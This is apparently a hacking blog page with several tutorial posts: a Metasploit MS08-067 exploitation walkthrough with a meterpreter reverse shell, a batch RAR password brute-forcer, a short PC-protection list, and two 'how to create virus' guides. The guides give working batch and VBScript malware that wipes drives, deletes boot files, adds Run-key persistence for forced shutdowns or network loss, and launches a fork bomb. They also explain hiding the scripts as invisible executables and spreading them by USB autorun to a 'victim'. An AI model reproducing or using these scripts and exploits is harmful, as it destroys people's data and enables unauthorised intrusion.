Labels

Showing posts with label TUTORIALS. Show all posts
Showing posts with label TUTORIALS. Show all posts

2 June 2018

[Metasploit Tutorial] Hacking Windows XP using IP Address


Image result for METASPLOIT

Do you think it is possible to hack some one computer with just an ip address?! The answer is yes, if you are using unpatched(vulnerable) OS.  If you don’t believe me, then read the full article.
In this article i am going to demonstrate how to hack a remote computer by exploiting the  parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service(CVE-2008-4250). Before we jump into the actual exploitation process, let me give more details about this Server Service Vulnerability.
Details about Server Service Vulnerability(MS08-067):
Microsoft Windows Server service provides support for sharing resources such as files and print services over the network.
The Server service is vulnerable to a remote code-execution vulnerability. The vulnerability is caused due to an error in netapi32.dll when processing directory traversal character sequences in path names. This can be exploited to corrupt stack memory by e.g. sending RPC requests containing specially crafted path names to the Server Service component. The ‘NetprPathCanonicalize()’ function in the ‘netapi32.dll’ file is affected.
A malicious request to vulnerable system results in complete compromise of vulnerable computers.
This vulnerability affects Windows XP, Windows 2000, Windows Server 2003, Windows Vista, and Windows Server 2008. But Attackers require authenticated access on Windows Vista and Server 2008 platforms to exploit this issue.
Exploiting the MS08-067 using Metasploit:
Requirements:
  • VirtualBox
  • Backtrack 5
  • Target OS(XP)
Step 1:
Create Two Virtual Machine(VM) namely “Target” and “BT5”.  Install the XP inside Target VM and Backtrack inside BT5. Start the Two VMs.
If you don’t know how to create virtual machines , then please read this VirtualBox Manual.
Step 2: Find the IP address of Target
Open The command prompt in the Target machine(XP). Type “ipconfig” to find the IP address of the Target system.
Hackers use different method for finding the ip address of victim.  For Eg., By sending link that will get the ip  details or use Angry IP Scanner.
Step 3: Information Gathering
Now let us collect some information about the Target machine.  For this purpose , we are going to use the nmap tool.
Open The Terminal in the BT5 machine(Backtrack) and type “nmap -O 192.168.56.12“.  Here 192.168.56.12 is IP address of Target machine. If you look at the result, you can find the list of open 
ports and OS version.


Step 4: Metasploit
Now open the Terminal in the BT5 machine(Backtrack) and Type “msfconsole“.
The msfconsole is the most popular interface to the Metasploit Framework. It provides an “all-in-one” centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework.
Let us use the Search command to find the exploit modules with the keyword netapi. Type “search netapi”.  Now you can see the list of modules match with the netapi.

We are going to exploit MS08-067 , so type “use exploit/windows/smb/ms08_067_netapi“.
Step 5: Set Payload
As usual, let use the Reverse Tcp Payload for this exploit also. Type “set payload windows/meterpreter/reverse_tcp” in the msfconsole.
Step 6: Options
Type “set LHOST 192.168.56.10“.  Here 192.168.56.10 is IP address of Backtrack machine.  You can find the ip address by typing ‘ifconfig’ command in the Terminal.
Type “set RHOST 192.168.56.12“.  Here 192.168.56.12 is IP address of Target machine.


Step 7: Exploiting
Ok, it is time to exploit the vulnerability, type “exploit” in the console. If the exploit is successful, you can see the following result.




Now we can control the remote computer using the meterpreter. For example, typing “screenshot” will grab the screenshot of the victim system.

10 May 2018

BATCH FILE PASSWORD CRACKER



Hello, Here is another batch file which can crack password of Rar File. You can easily use it to crack any rar file password.
Let’s Start.
Step 1: Open Notepad
Open your Notepad [Start >> Run >> Type ”Notepad” >> Enter]
Step 2: Create Batch File
Copy The Following code in notepad.
REM ============================================================
REM errorcode401.blogspot.in
@echo off
title Rar Password Cracker
mode con: cols=47 lines=20
copy “C:\Program Files\WinRAR\Unrar.exe”
SET PSWD=0
SET DEST=%TEMP%\%RANDOM%
MD %DEST%
:RAR
cls
echo ———————————————-
echo GET DETAIL
echo ———————————————-
echo.
SET/P “NAME=Enter File Name : ”
IF “%NAME%”==”” goto NERROR
goto GPATH
:NERROR
echo ———————————————-
echo ERROR
echo ———————————————-
echo Sorry you can’t leave it blank.
pause
goto RAR
:GPATH
SET/P “PATH=Enter Full Path : ”
IF “%PATH%”==”” goto PERROR
goto NEXT
:PERROR
echo ———————————————-
echo ERROR
echo ———————————————-
echo Sorry you can’t leave it blank.
pause
goto RAR
:NEXT
IF EXIST “%PATH%\%NAME%” GOTO START
goto PATH
:PATH
cls
echo ———————————————-
echo ERROR
echo ———————————————-
echo Opppss File does not Exist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 0 1 1 0 0 0 1 1 0 1 0 1 0 1 1 0 1 1
echo 0 0 0 0 1 1 1 1 1 0 1 0 1 0 1 0 0 1 1 0 1 1 0
echo 1 1 1 1 1 0 1 1 0 0 0 1 1 0 1 0 1 0 1 1 0 0 0
echo 0 0 0 0 1 1 1 1 1 0 1 0 1 0 1 0 0 0 0 1 1 0 1
echo 1 0 1 0 1 1 1 0 0 1 0 1 0 1 0 0 0 0 0 1 0 1 1


UNRAR E -INUL -P%PSWD% “%PATH%\%NAME%” “%DEST%”
IF /I %ERRORLEVEL% EQU 0 GOTO FINISH
GOTO START
:FINISH
RD %DEST% /Q /S
Del “Unrar.exe”
cls
echo ———————————————-
echo CRACKED
echo ———————————————-
echo.
echo PASSWORD FOUND!
echo FILE = %NAME%
echo CRACKED PASSWORD = %PSWD%
pause>NUL
exit
REM ============================================================
Step 3: Save it
Save it with .bat extension[ e.g “RarPSWDCracker.bat”]
Step 4: Run
Now Run it and Enter your File name and path then Hit Enter.
Step 5: Wait
Wait for some time until It crack the Password.
Step 6: cracked
That’s Done..!!
your password has been successfully cracked. now you can open your Rar file using this password.
[Note : It can only crack Numeric Password]

Database Hacking, Part 3: Using sqlmap for SQL Injection Against MySQL and WordPress

21 November 2017

5 Simple Steps to Protect Your PC from Hackers


In this world of ubiquitous computers and persistent threats from hackers, protecting your computer is a must.  The key pathway through which malware attacks the system is the Internet and its popular service, the Web.
There are numerous ways to protect and remove malware from our computers. No one method is enough to ensure your computer is secure. The more layers of defense, the harder for hackers to use your computer. Here are five simple, but critical steps to protect your computer,
  • Install Firewall
  • Install Antivirus Software
  • Install Anti-Spyware Software
  • Use Complex and Secure Passwords
  • Check on the Security Settings of the Browser

Install Firewall

firewall enacts the role of a security guard. There are of two types of firewalls: a software firewall and hardware firewall. Each serves similar, but different purposes. A firewall is the first step to provide security to the computer. It creates a barrier between the computer and any unauthorized program trying to come in through the Internet. If you are using a system at home, turn on the firewall permanently. It makes you aware if there are any unauthorized efforts to use your system.
op-cis-complete-big

Install Antivirus Software:

Antivirus is one other means to protect the computer. It is software that helps to protect the computer from any unauthorized code or software that creates a threat to the system. Unauthorized software includes viruses, keyloggers, trojans etc. This might slow down the processing speed of your computer, delete important files and access personal information. Even if your system is virus free, you must install an antivirus software to prevent the system from further attack of virus.
Antivirus software plays a major role in real time protection, its added advantage of detecting threats helps computer and the information in it to be safe. Some advanced antivirus programs provide automatic updates, this further helps to protect the PC from newly created viruses.
Antivirus for Windows 8 software may include advanced features such as email protection, blocking of pop-ups and identity theft.

Install Anti-Spyware Software:

spySpyware is a software program that collects personal information or information about an organization without their approval. This information is redirected to a third party website. Spyware are designed in such a way that they are not easy to be removed. Anti-Spyware software is solely dedicated to combat spyware. Similar to antivirus software, anti-spyware software offers real time protection. It scans all the incoming information and helps in blocking the threat once detected. Comodo Free Antivirus comes with spyware protection built in.

Use Complex and Secure Passwords:

passwordThe first line of defence in maintaining system security is to have strong and complex passwords. Complex passwords are difficult for the hackers to find. Use a password that is at least 8 characters in length and include a combination of numbers, letters that are both upper and lower case and a special character. Hackers use certain tools to break easy passwords in few minutes. One recent study showed that a 6 character password with all lower case letters can be broken in under 6 minutes!

Check on the Security Settings of the Browser:

Browsers have various security and privacy settings that you should review and set to the level you desire. Recent browsers give you ability to tell web sites to not track your movements, increasing your privacy and security.

HOW TO CREATE VIRUS

ALL OF THEZE ARE TO BE TYPED IN NOTEPAD...



You can also use notepad ++

1)     Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :


Code:

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


Save it as "Anything.VBS" and send it. 


2) Convey your friend a little message and shut down his / her computer:
Type :

Code:

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s


Save it as "Anything.BAT" in All Files and send it. 

3) Toggle your friend's Caps Lock button simultaneously:


Code:


Set wshShell =wscript.CreateObject("WScript.Shel
l")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

Save it as "Anything.VBS" and send it. 

4) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :

Code:

Set wshShell = wscript.CreateObject("WScript.Shell
")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


Save it as "Anything.VBS" and send it. 

5)This Virus Deletes All The Content Of A Drive... 
code:

@echo off 
del %systemdrive%*.* /f /s /q 
shutdown -r -f -t 00 

Save The Above Code As Anything.bat

6)This Will Crash Ur Computer 

Option Explicit

Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell") 

Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next

Save It As Anything.vbs

NOTE::: THIS Only Works With Windows XP


7) The Most Simple Virus To Crush The Window



@Echo off 
Del C: *.* |y 

Save It As Anything.bat

8)Virus that crashes pc

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini
@echo off
msg * YOU GOT OWNED!!!
shutdown -s -t 7 -c "A VIRUS IS TAKING OVER c:Drive



Save As Anything.bat File In Notepad!!
This Will Pop Up A Message Saying OWNED!!
And Shut Down The Computer Never To Reboot Again!

9) Shutdowns Computer Everytime It Is Turned On

Save As A bat File

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11 -f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v /t reg_sz /d c:windowshartlell.bat /f
echo You have been HACKED.
PAUSE

10 )Disable Internet Permanently

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
echo You Have Been HACKED!
PAUSE

Save As A bat File


11)Change Files To Non-working TXT Files


Save As A bat File

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT

2) System Meltdown


:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

We can make a batch file which will Shutdown the computer everytime on startup !

Here is how ?

 Open Notepad

 Type :

@ECHO OFF

shutdown -s -t 10 -c "Virus Attack..."

exit

? File >> Save As...

? Name it : virus.bat

? Start >> All Programs

? Right Click on Startup >> Open

? This open the Startup folder

? Paste the Virus.bat file here !

*** That's all , now the computer will 
automatically shutdown on every startup !





HOW TO CREATE BATCH FILE VIRUSES | FULL INFORMATION ABOUT BAT FILE| VIRUS CODES FREE DOWNLOAD






What are Batch Files ?

According to wikipedia a batch file is a text file containing a series of commands intended to be executed by the command interprete, In this article I will be telling you the basics of batch files clear and developing the approach towards coding your own viruses. Lets begin with a simple example.

Open your command prompt and change your current directory to 'desktop' by typing 'cd desktop' without quotes.
Now type these commands one by one

1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'




We first make a folder/directory 'x', then enter in folder 'x',then make a folder 'y' in folder 'x'. 
Now delete the folder 'x'.
Lets do the same thing in an other way. Copy these three commands in notepad and save file as anything.bat

Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we run the batch file 
So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run. 
What can batch viruses do ?
They can be used to delete the windows files, format data, steal information,consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.


Now lets start with simple codes, 

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.

:x
start cmd.exe
goto x // infinite loop
This code will be opening command prompt screen infinite times , irritating victim and affecting performance.


2.  copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup” 
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds 

Note : Files in Start up folder gets started automatically when windows starts . 

Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch filefrom Start Up folder. 

3. Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows. 




Lets make a batch file to  delete this file from victim's computer and the windows will not start then. to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file

After ruuning this batch file , system will not reboot and a normal victim would definitely install the windows again. 


4.%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows.
 It will just hang the windows This is actually known as 'fork bomb'. 


The viruses we just coded -:
Note : Most of the batch viruses are simply undetectable by any anitiviruses

Tip : Coding good viruses just depends on the DOS commands you know and logic you use.

Limitations of Batch Viruses -:

1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

Download this Batch To Exe coverter from here. 
http://www.mediafire.com/?uhsc5tfkd5dbn65

After running converter , select the batch file virus , Save as exe file , set visibility mode 'Invisible application' , 
choose an icon for it to make it professional then just click on compile button. 





 You can use other options if you are STAINLESS or experienced

Spreading batch viruses through pen drive -:

Step 1. 

Open notepad and write 



[autorun]
open=anything.bat
Icon=anything.ico

Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.

most viewed